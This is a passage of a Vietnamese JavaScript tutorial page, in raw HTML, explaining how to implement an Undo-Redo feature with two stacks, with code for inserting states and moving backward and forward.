class="gatsby-resp-image-background-image" style="padding-bottom: 46.666666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA3klEQVQoz5WRzW6EMAyEef9navsUbS+7QQRC/iqCgMQhdkJXy2r3BKr6HSxLM3MYu/o9B3dKKWeG6kwopVwvl4/3t8+vb0T8XxgRjTEhhGmaAOA4nFJavI8AEAAAvPfruhJRCH5Z5pQw54yIsBMjxBgfOyJWyzxz3o6j66Uc3Sj6/i4QOeestTHGlNYAIIRQSv1YK5UehkFKCQBV3iGi10REIgIArTU+oScvWynltPO2bWdVjw+27bPruqZphBB1zRirOedKqZzzX+HtHnfOMcbartVKy15JJY0xh9++AVMjC5n1TUqyAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Cách thức hoạt động của Redo" title="Cách thức hoạt động của Redo" src="/static/89271e6cba9da14c482c0374991a0ce2/3e20f/cach-thuc-hoat-dong-redo-completejavascript.com_.png" srcset="/static/89271e6cba9da14c482c0374991a0ce2/103f2/cach-thuc-hoat-dong-redo-completejavascript.com_.png 165w, /static/89271e6cba9da14c482c0374991a0ce2/748ba/cach-thuc-hoat-dong-redo-completejavascript.com_.png 330w, /static/89271e6cba9da14c482c0374991a0ce2/3e20f/cach-thuc-hoat-dong-redo-completejavascript.com_.png 529w" sizes="(max-width: 529px) 100vw, 529px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="cách-thức-hoạt-động-của-phần-thêm-trạng-thái" style="position:relative;"><a href="#c%C3%A1ch-th%E1%BB%A9c-ho%E1%BA%A1t-%C4%91%E1%BB%99ng-c%E1%BB%A7a-ph%E1%BA%A7n-th%C3%AAm-tr%E1%BA%A1ng-th%C3%A1i" aria-label="cách thức hoạt động của phần thêm trạng thái permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách thức hoạt động của phần Thêm trạng thái</h3> <p>Khi có một trạng thái mới được thêm vào tập các trạng thái của Undo-Redo, sẽ có 2 trường hợp mà bạn cần phải quan tâm:</p> <ul> <li>Ứng dụng đang ở trạng thái mới nhất S[n]: Trường hợp này đơn giản, bạn chỉ cần thêm trạng thái S[n + 1] vào sau trạng thái S[n]. Khi đó, tập trạng thái của ứng dụng là: S[0], S[1], S[2],..., S[n-1], S[n], S[n+1].</li> </ul> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 594px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 53.333333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABPUlEQVQoz5WRW2/DIAyF8///XB9Waek6rUkUCuQCgWID5ZIpydL1YZO27wFZlg7Hxy46zo/Hl8vHpSxf306nsjy9n8+XqpZSzvOcc55/pwj3gIjOOaW01hoBwQAiWmvTSowxzzmllHNOO1/iYRhaQtq2naapJcsLAEopSqnWylonpWyahhDSNA3njBAyCrE7h3BfeS6stUKIuLI1Y4ybOef82/nHMM65qqqeMzvnbkssTSmdlELEX8UAcDgcnsXGGEYpY6zve95106QWcYwxrKM+SCkhYl3XKaUlSwhhn3n5a99bjLFQarpe6TiOQoh1SdpahwBSSgDw3gMYSmnX95zRYRx51y3mnAspC+/9epeF7WYbiOi9f9Tb8bz32/4IId77Yv4zKSUAMMbo241xDoj/EMcYGaWEtGyl6/pP1RN66T8e43sAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Thêm trạng thái vào Undo-Redo trường hợp 1" title="Thêm trạng thái vào Undo-Redo trường hợp 1" src="/static/e7a87c3131789b2a013e07540a6eb6e5/d32a3/them-trang-thai-th1-completejavascript.com_.png" srcset="/static/e7a87c3131789b2a013e07540a6eb6e5/103f2/them-trang-thai-th1-completejavascript.com_.png 165w, /static/e7a87c3131789b2a013e07540a6eb6e5/748ba/them-trang-thai-th1-completejavascript.com_.png 330w, /static/e7a87c3131789b2a013e07540a6eb6e5/d32a3/them-trang-thai-th1-completejavascript.com_.png 594w" sizes="(max-width: 594px) 100vw, 594px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <ul> <li>Ứng dụng đang ở trạng thái cũ S[i] với i &#x3C; n: Trường hợp này xảy ra khi bạn đã thực hiện ít nhất một lần Undo. Lúc này, bạn phải xoá đi toàn bộ các trạng thái từ S[i+1] đến S[n]. Sau đó, mới thêm trạng thái S'[i+1] vào sau S[i]. Khi đó, tập trạng thái của ứng dụng là: S[0], S[1], S[2],..., S[i], S'[i+1]. Điều đó cũng có nghĩa là bạn sẽ không thể đưa ứng dụng tới các trạng thái S[i+1], S[i+2],..., S[n], sau khi đã chèn trạng thái S'[i+1] vào.</li> </ul> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 529px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 61.21212121212122%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABZElEQVQoz41R7Y7cIAzc93/BVS9qQ9gkq4AxCRADScBVdtVt765f8wMxiLE948syz9frtZNStG3z9qVpGiHOeyeED4H/iktOGQAQUSslu05rmCZljNFKEVEp5Xig1lJrKaXUWstJT1yICAC899bOFKMGyDmXWtY1GEQi2rYtxmgANIAxBgBma5VSMcZTbIzx3k2TAtDW2hBCpOjd0gpBRCmlGCOiQcTZWjTonEOLKaULM9damdkYI6V8UWYGrf/hmZlLKcx8v99bIZhZ3mQrxDD0X9tvnZQA+lXxafVFf3YWQjRNw8xEqw8hp5TyOXDO+c9p57yuKxHlfP5f1zXnfOx7enh9PsYYn9N9FDvnuk4AopQSEeVNhhBSStbafuiXZZE3OSl1HL8TP9e473sp5XUePzbJzIhnvL8G+S6wz9j33XvnnPM+aKWMwW3bHvr/EG/bJtq27/t+GMZxvI/jPC+fm38H0OK0kJuTk5wAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Thêm trạng thái vào Undo-Redo trường hợp 2" title="Thêm trạng thái vào Undo-Redo trường hợp 2" src="/static/8de986f5399222ecd081c14d5e93b536/3e20f/them-trang-thai-th2-completejavascript.com_.png" srcset="/static/8de986f5399222ecd081c14d5e93b536/103f2/them-trang-thai-th2-completejavascript.com_.png 165w, /static/8de986f5399222ecd081c14d5e93b536/748ba/them-trang-thai-th2-completejavascript.com_.png 330w, /static/8de986f5399222ecd081c14d5e93b536/3e20f/them-trang-thai-th2-completejavascript.com_.png 529w" sizes="(max-width: 529px) 100vw, 529px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><em>Chú ý: Trạng thái S'[i+1] khác với S[i+1] và S'[i+1] đang là trạng thái mới nhất hiện tại.</em></p> <h2 id="triển-khai-thuật-toán-undo-redo" style="position:relative;"><a href="#tri%E1%BB%83n-khai-thu%E1%BA%ADt-to%C3%A1n-undo-redo" aria-label="triển khai thuật toán undo redo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai thuật toán Undo-Redo</h2> <p>Dựa vào cách thức hoạt động của Undo-Redo đã trình bày phía trên, mình quyết định sẽ sử dụng Stack để lưu lại tập các trạng thái của ứng dụng. Tuy nhiên, để đơn giản mình sẽ sử dụng 2 Stack, 1 stack cho Undo và 1 stack cho Redo.</p> <p>Dưới đây là code mình triển khai thuật toán Undo-Redo trong JavaScript (các ngôn ngữ khác cũng tương tự):</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">UndoRedoHandler</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">currentstate</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>currentstate<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">insert</span><span class="token punctuation">(</span><span class="token parameter">state</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>state<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">getPrevState</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span>length <span class="token operator">>=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> state <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>state<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> state<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">getNextState</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">>=</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> state <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>state<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">>=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> state <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>state<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="triển-khai-phần-khởi-tạo" style="position:relative;"><a href="#tri%E1%BB%83n-khai-ph%E1%BA%A7n-kh%E1%BB%9Fi-t%E1%BA%A1o" aria-label="triển khai phần khởi tạo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai phần Khởi tạo</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">currentstate</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>currentstate<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Thực chất, <a href="/array-la-gi-array-trong-javascript/">array trong JavaScript</a> có thể đóng vai trò là Stack, với sự hỗ trợ của các phương thức <em>push</em>, <em>pop</em>. Do đó, mình khởi tạo Undo Stack - <em>this._undoStack</em> và Redo Stack - <em>this._redoStack</em> là các mảng rỗng. Sau đó, <em>push</em> trạng thái hiện tại của ứng dụng <em>currentstate</em> vào <em>this._redoStack</em>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 417px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 76.96969696969698%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA5ElEQVQoz+3Ry27DIBAF0Pz/59WllZxYSu3IhgU2FgwDxjNUCanbhdVW6bZ3NbriiNch/yGHbQIARASAdV1zzkRkrS0NM/+Avfc55xhjSqlgRCw9ET2IEfEf/w6HEB7HzrnM1/9PKRlj5nkeR631OE0mxvgdZmYlZdM01lqt9asQ9fGolBqk7Pu+LP7EzrmUkvd+w8ZMwzAgotZ6MgZuYP/YRLQsy9frERHfsjX8kTsuQ9e2dV233eVFiPP5bSUSz1XTnNruUj1VUqki93eOIQBACME5h4jMjOi9vzbW2hiX3dd+B5B5cXtjXl0UAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Khởi tạo Undo, Redo Stack" title="Khởi tạo Undo, Redo Stack" src="/static/b7b5127667133d40c810793607e3e00b/0500f/khoi-tao-completejavascript.com_.png" srcset="/static/b7b5127667133d40c810793607e3e00b/103f2/khoi-tao-completejavascript.com_.png 165w, /static/b7b5127667133d40c810793607e3e00b/748ba/khoi-tao-completejavascript.com_.png 330w, /static/b7b5127667133d40c810793607e3e00b/0500f/khoi-tao-completejavascript.com_.png 417w" sizes="(max-width: 417px) 100vw, 417px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><strong>Mục đích: mình sẽ sử dụng đỉnh của Redo Stack để lưu giá trị hiện tại của ứng dụng.</strong></p> <p>Nghĩa là: một cách tổng quát, <em>this._undoStack</em> sẽ lưu các trạng thái từ S[0] đến S[i-1] và <em>this._redoStack</em> sẽ lưu các trạng thái từ S[i] đến S[n]. Với S[i] là giá trị hiện tại của ứng dụng, nằm tại đỉnh của <em>this._redoStack</em>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 370px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 81.21212121212122%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAABeElEQVQoz52T2W7DIBBF8//f1/YhYOMsjsHGmH3xAlVM6rRqmki9vA06msudYZdWLcsyr4ox5kqMMVeWZUl/aJdJrXUIwRgTQsgX7kta62fwPM/OuZTSNE3e+3xhrY2rrLU3L6udlKvxFzyO4xP4P52dc9M0ex/GEJxz3rkQwjiO9zczxrgQfd9vfZRSjDFKKedcSQkAgGBforIsC1RV1eGwxLjLwWLcvH28QwizhRhjCL5tSYFK7z0A4HQ6Nhhvs/hhW0rpvVdKZTilpLXmQgxX8ezuFtTvwJRS1lql9QYbY4zWctWLOXPOmwYLIbbAjNFt11LasWF4ATPWAwAo7TZYa4UqdKgqjElO4U94GBhpW875t1E5PjBCiNLmRWfBOSiglCKv57objuAGISTV0/W8ZrZc4/z+Me56ZPgOE0LO53NPO4zx5VKHaVZSHI5H2lFMrodS+vDZuxjj6XSEELQtqRCCEPgwKSn2+/25ri91XRRF0zQP4U9H+6KHyufJmQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Trạng thái tổng quát của Undo, Redo Stack" title="Trạng thái tổng quát của Undo, Redo Stack" src="/static/cb6e2e524568b9ad54816e24b3828f93/3ac6e/trang-thai-undo-redo-stack-completejavascript.com_.png" srcset="/static/cb6e2e524568b9ad54816e24b3828f93/103f2/trang-thai-undo-redo-stack-completejavascript.com_.png 165w, /static/cb6e2e524568b9ad54816e24b3828f93/748ba/trang-thai-undo-redo-stack-completejavascript.com_.png 330w, /static/cb6e2e524568b9ad54816e24b3828f93/3ac6e/trang-thai-undo-redo-stack-completejavascript.com_.png 370w" sizes="(max-width: 370px) 100vw, 370px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Dĩ nhiên, bạn có thể cho trạng thái hiện tại vào <em>this._undoStack</em> hoặc tạo thêm một biến để lưu trạng thái này. Khi đó, bạn chỉ cần sửa lại code một chút. Về cơ bản, chúng vẫn giống nhau, nên bạn có thể làm theo cách của mình.</p> <h3 id="triển-khai-phần-thêm-trạng-thái" style="position:relative;"><a href="#tri%E1%BB%83n-khai-ph%E1%BA%A7n-th%C3%AAm-tr%E1%BA%A1ng-th%C3%A1i" aria-label="triển khai phần thêm trạng thái permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai phần Thêm trạng thái</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">insert</span><span class="token punctuation">(</span><span class="token parameter">state</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>state<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Khi thêm một trạng mới vào ứng dụng thì trạng thái hiện tại phải được đưa vào Undo Stack. Do đó mình phải <em>pop</em> state S[i] tại đỉnh của Redo Stack (là giá trị hiện tại của ứng dụng), để <em>push</em> vào Undo Stack:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sau đó, toàn bộ trạng thái S[i+1] đến S[n] bị xoá đi. Tức là <em>this._redoStack</em> phải bị xoá đi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span></code></pre></div> <p>Cuối cùng trạng thái <em>state</em> mới nhất sẽ được đưa vào <em>this._redoStack</em>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>state<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 387px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 79.39393939393939%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAABUUlEQVQoz5VSiW7CMAzl//8OihgM6JUAI10PaG7nmEqgaxET65OiSI7fe7bjmX/AGAMA1to+Yq01xgwjT5iFS2vNGFNKcc6dc0ErRBhjxpg3ZK21914IEVK11kop772UEgBek4OPlLIsy7Ztm6YJdf6L3LeHMcpQDlqH1GnOhJCqqprmMtkZADDK0jQpyjrITe35+3LDZOfukwS31grB/5q2c8Hofo3IOcpzlPfOABDISqk3zlprUhBSFG3b9mVTSu+rIjjGnXaaJkmSxHF8Lgpr7S85SxOEMH3skzEmy7J9vEOHw/F4+Nxs4ji5Xq+cc8YoF8K7gfPX6XQmhD82DACquqrq7lBKQ+d9t6OyA5xzdvDsbpGnBOfGA2vq6mO9Xq1W+902iqIcY2PMYj5fLpdpGi+iaLvdjUUGzt1UKAu1UUqFlN57eoNSilLKBX857R8YxKW+P3ALiAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Trạng thái của Undo, Redo Stack sau khi thêm trạng thái" title="Trạng thái của Undo, Redo Stack sau khi thêm trạng thái" src="/static/b55c3c8efe4b2dd889f00f26ea6f6b37/0082d/trang-thai-undo-redo-stack-sau-khi-them-trang-thai-completejavascript.com_.png" srcset="/static/b55c3c8efe4b2dd889f00f26ea6f6b37/103f2/trang-thai-undo-redo-stack-sau-khi-them-trang-thai-completejavascript.com_.png 165w, /static/b55c3c8efe4b2dd889f00f26ea6f6b37/748ba/trang-thai-undo-redo-stack-sau-khi-them-trang-thai-completejavascript.com_.png 330w, /static/b55c3c8efe4b2dd889f00f26ea6f6b37/0082d/trang-thai-undo-redo-stack-sau-khi-them-trang-thai-completejavascript.com_.png 387w" sizes="(max-width: 387px) 100vw, 387px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="triển-khai-phần-undo" style="position:relative;"><a href="#tri%E1%BB%83n-khai-ph%E1%BA%A7n-undo" aria-label="triển khai phần undo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai phần Undo</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">getPrevState</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span>length <span class="token operator">>=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> state <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>state<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> state<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Undo tức là quay trở về trạng thái cũ. Nghĩa là trạng thái cũ phải tồn tại thì bạn mới thực hiện Undo được. Ở đây, điều kiện Undo được là <em>this._undoStack</em> phải khác rỗng hay <em>this._undoStack.length >= 1</em>.</p> <p>Khi điều kiện Undo thoả mãn, bạn có thể thực hiện những thứ sau đây.</p> <p>Bạn nhớ rằng, trạng thái hiện tại của ứng dụng là S[i]. Undo sẽ đưa ứng dụng về trạng thái S[i-1].</p> <p>Nghĩa là bạn phải <em>pop</em> trạng thái S[i-1] từ <em>this._undoStack</em>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> state <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_undoStack<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trạng thái S[i-1] này sẽ được <em>push</em> vào <em>this._redoStack</em>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">this</span><span class="token punctuation">.</span>_redoStack<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>state<span class="token 